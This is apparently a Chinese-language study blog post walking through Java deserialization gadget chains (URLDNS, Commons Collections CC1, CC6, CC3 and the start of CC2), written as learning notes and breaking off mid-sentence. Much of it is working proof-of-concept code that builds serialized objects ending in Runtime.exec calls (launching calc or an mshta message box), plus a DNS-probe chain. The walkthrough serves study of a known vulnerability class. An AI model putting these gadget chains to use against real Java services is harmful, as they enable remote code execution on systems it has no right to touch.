JavaSec 入门-03-CC&CB链
前言
这几条链子当时每天看,为什么忘得这么快=_=,再看着白日梦组长的视频学一学好了
每日一篇总结,力争一周复健 Java,当然这篇得分几天写,还是得复习复习考试。
URLDNS
作为反序列化入门的链子,本来很简单,但是我太笨了理解得很慢
如果服务器上存在一个反序列化的点/漏洞, 我们把URLDNS的序列化数据传进去, 我们就会收到一个DNSLOG请求, 代表服务器存在反序列化漏洞. 而因为URLDNS不受JDK版本限制, 所以这里使用URLDNS进行检测是特别好的一个选择. 那么我们下面介绍一下 URLDNS 链路的形成。
从HashMap
重写的 readObject
入手
跟进到里面的 hash()
,这里的接受一个 Object
参数,我们传入一个URL
类,也就是HashMap
的 key ,
URL
类里面恰好有一个同名函数hashCode()
我们这里要让他进入想要的hashCode()
,要经过一个判断 hashCode == -1,否则就直接返回
此时,handler
是URLStreamHandler
对象(的某个子类对象),继续跟进其 hashCode
方法
继续跟进getHostAddress
方法,有一个InetAddress.getByName(host)
的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。
逻辑是这样的,开始试着写一下
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://fpdkn4.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,123); // 设置hashcode的值为-1的其他任何数字
System.out.println(url.hashCode());
map.put(url,1); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发
serialize(map);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}
}
本来按照逻辑直接让传入的 URL
类被反序列化即可,为什么中间多了两个反射修改 key 呢?
原因在于在往 HashMap
中put
值的时候,会对传入的URL
类这个参数 key 进行一个 hash()
,调用了URL
类的hashCode()
而此时 hashCode
的值默认为 -1,在序列化时会进到刚刚所分析的过程中去发起一次 DNS 请求,这显然不是我们想要的,所以要先在第一次 put 之前改掉 hashCode
,不等于 -1 就行。
但是改完了我们还要在后面的反序列化过程中去触发DNS请求,就再把这个 hashCode
改回 -1 就好了。
很难想象这个逻辑为什么会让我这么困扰。
CC1
选择 jdk 版本为 8u65,距离发现已经约 10 年了
org.apache.commons.collections
是 Apache Commons 项目中的一个库,提供了一些额外的集合框架功能和工具。它扩展了 Java 标准库中的集合类(如 java.util
包中的类),并提供了许多有用的类和方法,主要用于处理集合对象(如 List、Map、Set 等)。
这个库的核心功能包括:
- 集合工具类:提供了许多有用的方法,用于操作集合,比如判断集合是否为空、克隆集合、查找集合中的元素等。
- 集合实现:除了 Java 标准库中提供的集合实现外,
commons-collections
还提供了一些扩展集合的实现。例如,Bag
(类似于 Map,但键是元素,值是该元素的数量)、BidiMap
(支持双向映射的 Map)等。 - 装饰器:通过装饰器模式提供对集合对象的增强功能。例如,
LazyList
、LazySet
等可以延迟集合的计算或访问。 - 排序器与比较器:提供了额外的排序和比较功能,比如
Comparator
和Predicate
工具,支持链式比较。 - 集合扩展:如
MultiMap
、Unmodifiable
集合,允许用户创建线程安全的集合或不可修改的集合。
这个库非常有用,特别是在处理复杂集合操作时,可以避免重新发明轮子,可通过 maven 导入。
Transformer
Transformer
是⼀个接口,它只有⼀个待实现的方法。
从org.apache.commons.collections.Transformer
接口作为入口,接受一个对象作为参数传入,看一下被哪些类实现
InvokerTransformer::transform 危险方法
InvokerTransformer
这个类是可以序列化的, 并且重写了transform
方法, 该方法的功能为: 接收一个对象 (注: 该对象的类修饰符必须为 public, 否则这里无法调用), 并且调用该对象的任意方法, 传递任意参数.
构造方法就是传入一个方法的参数,一个 Class
类型的数组,表示目标方法的参数类型,一个 Object
类型的数组,表示方法调用时传递的实际参数,最后再通过调用transform()
去传入一个想要的对象即可。
调用计算器示例:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // public Process exec(String command)
Object transform = invokerTransformer.transform(runtime); // 弹出计算器
TransformedMap::checkSetValue 链式调用
查看一下谁调用了InvokerTransformer::transform
方法
可以看到的是TransformedMap::checkSetValue
方法调用了InvokerTransformer::transform
方法, 此时我们可以把关注点放在TransformedMap::checkSetValue
上
TransformedMap
构造器的定义为,但是被 protected 修饰,没法直接去实例化一个,好在是有一个 static 的decorate()
可以返回一个实例
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
因为没法直接获取checkSetValue()
,就需要反射调用了,调用计算器示例:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, invokerTransformer);
Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime);
AbstractInputCheckedMapDecorator::setValue 链式调用
可以看到AbstractInputCheckedMapDecorator
这个类调用了parent.checkSetValue
方法, 那么我们看一下AbstractInputCheckedMapDecorator
这个抽象类,并且提供了entrySet
方法, 也就是说, 这个类是Map
中的键值对, 那么谁实现了这个类呢?答案还是我们刚才的TransformedMap
类
该类其中的MapEntry
类继承了AbstractMapEntryDecorator
类, 而AbstractMapEntryDecorator
类实则上也是实现了Map.Entry
所以我们可以通过遍历元素去调用setValue
方法进行传递我们的Runtime
对象,
然后setValue
调用checkSetValue
,checkSetValue
调用transform
Runtime runtime = Runtime.getRuntime(); // runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Set<Map.Entry> set = transformedMap.entrySet();
for (Map.Entry entry : set) {
entry.setValue(runtime); // 循环调用 setValue
}
AnnotationInvocationHandler::readObject 入口方法
找到调用setValue
方法的地方,最终在AnnotationInvocationHandler::readObject
中成功发现了调用setValue
方法的代码块, 而readObject
方法又是我们反序列化漏洞的入口, 所以我们要重点分析一下readObject
方法,AnnotationInvocationHandler::readObject
关键部位如下:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { // 支持序列化
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type; // 需要转入注解
this.memberValues = memberValues; // 传入 Map 类型
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
AnnotationType.getInstance
方法用于获得一个注解, 下面的annotationType.memberTypes()
用来返回注解的属性, 所以这里我们必须传入一个属性不为空的注解过去才行,这里我们可以选择使用@Retention
,Retention
注解定义如下:
public @interface Retention {
RetentionPolicy value(); // 只有一个 value
}
但是memberValue.setValue()
里面的参数不可控,就需要其他方法来辅助
ConstantTransformer::transform 返回任意值
发现ConstantTransformer
类, 这个类定义的transform
方法不管传入什么内容, 都会返回自定义任意值的一个方法
ChainedTransformer::transform 递归调用
ChainedTransformer
这个类的transform
方法, 会将上一次transform
方法调用的结果, 当下一次的参数使用, 这里有一个递归调用
根据前两个的研究,我们就可以通过先ConstantTransformer
再ChainedTransformer
去调用
还有一个问题是 Runtime
类不能被序列化,但是 Class 允许序列化:
ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 的 Class. (Class 对象允许序列化)
InvokerTransformer -> 我调用 Class 的 getMethod 方法, 参数是 getRuntime -> 返回 getRuntime 这个 Method
InvokerTransformer -> 我调用 Method 的 invoke 方法, 参数是 null -> 返回 runtime 对象
InvokerTransformer -> 我调用 runtime 对象的 exec 方法, 参数是 calc
也就是
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
最后因为AnnotationInvocationHandler
类是 Java 的一个私有类,不能直接去实例化,也要反射一下
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationhdl = c.getDeclaredConstructor(Class.class,Map.class);
annotationhdl.setAccessible(true);
Object o = annotationhdl.newInstance(Target.class,transformedmap);
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
// TransformedMap方法
map.put("value", "aaa");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
//
//
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationhdl = c.getDeclaredConstructor(Class.class, Map.class);
annotationhdl.setAccessible(true);
Object o = annotationhdl.newInstance(Target.class, transformedmap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}
}
LazyMap::get 链式调用
在我们之前寻找InvokerTransformer::transform
的被调用地点时,除了TransformeredMap
以外还有一个 LazyMap
在invoke()
的get()
里面调用了 transform()
然后再到入口的AnnotationInvocationHandler::readObject
里面寻找,恰好有一个同名函数get()
,构造方法里写明了memberValues
其实就是接受一个 Map 对象,但是这里要求是一个无参调用,不然会抛出异常
那么又如何能调用到 AnnotationInvocationHandler::invoke
呢?ysoserial 的作者想到的是利用 Java 的对象代理。
注意到AnnotationInvocationHandler
这玩意本来就能作为一个动态代理所需要的,实现了InvocationHandler
接口的对象,且有entrySet()
方法, 该方法参数为空
我们如果将这个对象用 Proxy 进行代理,那么在 readObject
的时候,就会触发entrySet()
方法
就会进入到 AnnotationInvocationHandler::invoke
方法中去触发get()
,进而触发我们的 LazyMap::get
理清楚这个思路之后,就开始想怎么调用了,对于LazyMap
来说,还是像之前分析的一样用decorate()
去放到 map 里面
然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler
对象进行 Proxy :
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class TestCalc{
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
lazyMapProxyObj.isEmpty();
}
}
最后的POC
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMapProxyObj); // 最终生成恶意对象
serialize(o);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("path"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("path"));
ois.readObject();
}
前面我们详细分析了LazyMap的作用并构造了POC,但是和上一篇文章中说过的那样,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。LazyMap的漏洞触发在 get 和 invoke 中,完全没有 setValue 什么事,这也说明8u71后不能利用的原因和 AnnotationInvocationHandler##readObject 中有没有 setValue 没任何关系。
CC6
由于上述的链路依赖于AnnotationInvocationHandler
, 而这个类在JDK1.8
后续版本修复了该链路, 修复了同名方法的调用,我们就得重新思考get
该如何调用了,后续那些调用transform()
是不变的。
找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,关键方法在于getValue()
和hashCode()
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
/** Serialization version */
private static final long serialVersionUID = -8453869361373831205L;
/** The map underlying the entry/iterator */
private final Map map;
/** The key */
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}
看到熟悉的hashCode()
,自然想到之前的 URLDNS 链子,那我们是不是在HashMap
的readObject
里面去把那个 key 换成TiedMapEntry
对象就可以了呢,但是还是那个问题,在put
的时候会调用一次 hashCode
,所以我们在构造时仍然需要一个反射的一个操作. 我们put
时, 放入正常的对象, 不让他走到最终的链路, 而put
完之后通过反射再将恶意对象放回来, 即可避免我们生成二进制文件时就直接走到了链路尽头, 从而造成了一系列非预期的问题。
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "aniale"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
serialize(hsMap);
unserialize(); // 运行弹出计算器
}
相比其他 POC 中的 remove
key
的操作,这个似乎没有去做,这个就是反射修改的不同层面的对象了,上面的 POC 是去换一个 TiedMapEntry
的Map
,而其他的那些是去换一个 LazyMap
的 Transformer
另一种POC
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC6!\",64,\"Congratulations!\")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");
原因在于第一个 POC 他在创建TiedMapEntry
时使用了HashMap
而不是LazyMap
,这就避免了LazyMap
里面对于key
是否为空的检查,自然也就用不到去remove
key
了
CC3
相较于之前调用transform
的方法,这条链子我们选择通过恶意类加载去实现,也就是defineClass
,在实际场景中,因为defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl
的基石。
利用TemplatesImpl加载字节码
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类定义了一个内部类TransletClassLoader
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重写了 defineClass
方法,并且这里没有显式地声明其定义域。Java 中默认情况下,如果一个方法没有显式声明作用域,其作用域为 default 。所以也就是说这里的 defineClass
由其父类的 protected
类型变成了一个 default 类型的方法,可以被类外部调用。
找一下哪里调用了 defineClass
,TemplatesImpl.defineTransletClasses
里调用了
_bytecodes
可控,继续找哪个位置调用了defineTransletClasses
只有一个getTransletInstance
里面有 newInstance()
符合要求
继续找哪里调用getTransletInstance
,在newTransformer()
找到一个
那我们就去实例化一个TemplatesImpl
对象,然后调用newTransformer
方法,这样就可以加载恶意类:
其中,setFieldValue
方法用来设置私有属性,可见,这里我设置了两个属性:_bytecodes
、_name
。_bytecodes
是由字节码组成的数组;_name
可以是任意字符串,只要不为 null 即可;
另外,值得注意的是,TemplatesImpl
中对加载的字节码是有一定要求的:
这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类。
原因是superClass.getName()
去找父类,找不到对应的AbstractTranslet
就会导致_auxClasses
值为默认的-1
就会抛出下面的异常
初步的调用 POC 如下,但是需要注意的是这里我们并没有去像其他 POC 修改_tfactory
,所以这里直接运行是触发不了计算器的,原因在于TemplatesImpl
的readObject
给_tfactory
赋值了,所以不会为空
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Transformer transformer = templates.newTransformer();
接下来该想办法把他和 CC1 或者 CC6 结合了,我们现在就是拿到了一个等价的执行命令的transformer
与 CC1 结合
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
// Transformer transformer = templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC1后半
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c2.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);
//生成动态代理
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
//生成最外层
Object o = annotationconstructor.newInstance(Override.class, mapproxy);
serialize(o);
unserialize();
与 CC6 结合
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
// Transformer transformer = templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC6后半
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "aniale");
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null);
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map");
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap);
serialize(lazyMap);
unserialize();
TrAXFilter::带参构造
前面我们使用的是InvokerTransformer::transform
方法调用到了我们的TemplatesImpl::newTransformer
, 那么我们在这里可以查看一下,TemplatesImpl::newTransformer
被谁调用了
发现是TrAXFilter
里面调用的
但是这个类是不能被序列化的,这就又想到了之前在调用Runtime
类的时候了,那么这里有没有一个类允许传递过来Class
从而对其实例化操作呢,发现存在一个InstantiateTransformer::transform
,作用就是返回一个类的构造器去newInstance
,恰好满足我们的需求
仿照着写一下,只需要修改中间关于如何调用 newTransformer()
即可
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
CC2
CC4/jdk>= jdk1.8.0_131
TransformingComparator::compare 链式调用
在CC4中,TransformingComparator
允许序列化操作, 但CC3中不允许, 它的类定义如下:
public class TransformingComparator<I, O> implements Comparator<I>, Serializable { // 注意实现了 Comparator, 并且CC4支持序列化
private final Transformer<? super I, ? extends O> transformer; // transformer 是 Transformer 类型
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1); // 存在 transform 方法调用
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2); // decorated 也不能设置为空, 否则在我们序列化时, 前面的调用者调用到这里的话, 会抛出空指针异常.
/*
decorated 可以选择 NullComparator, NullComparator 可序列化, 它的 compare 方法定义如下:
public int compare(final E o1, final E o2) {
if(o1 == o2) { return 0; }
if(o1 == null) { return this.nullsAreHigh ? 1 : -1; }
if(o2 == null) { return this.nullsAreHigh ? -1 : 1; }
return this.nonNullComparator.compare(o1, o2);
}
*/
}
}
寻找哪里调用了compare()
PriorityQueue::readObject 入口点 & PriorityQueue::siftDownUsingComparator 链式调用
最终在PriorityQueue::siftDownUsingComparator
方法中找到了compare
方法调用, 这里PriorityQueue
类是一个队列类, 该类同样实现了Serializable接口
, 同样也是可序列化的, 代码定义如下:
通过readObject
中的heapify()
->siftDown()
->siftDownUsingComparator()
我们这里注意heapify
方法中的for
循环判断,size
变量最少为2时, 向右移一位才可以正常进入for循环, 如图
也就是我们需要两次,看一下add
方法,PriorityQueue
的堆结构需要依赖元素的排列顺序。如果不添加元素,反序列化时堆中没有实际的数据,反序列化后也不会调用排序逻辑,自然不会触发恶意代码链。
public boolean add(E e) {
return offer(e); // 调用 offer
}
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size; // 当前队列大小
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e); // 大小不为0, 调用 siftUp
return true;
}
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x); // 这里会走向我们的链路终端
else
siftUpComparable(k, x);
}
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
和当时 URLDNS 那个有相似的感觉,我们在add
的时候,就会触发compare()
,所以不能直接去把构造好的TransformingComparator
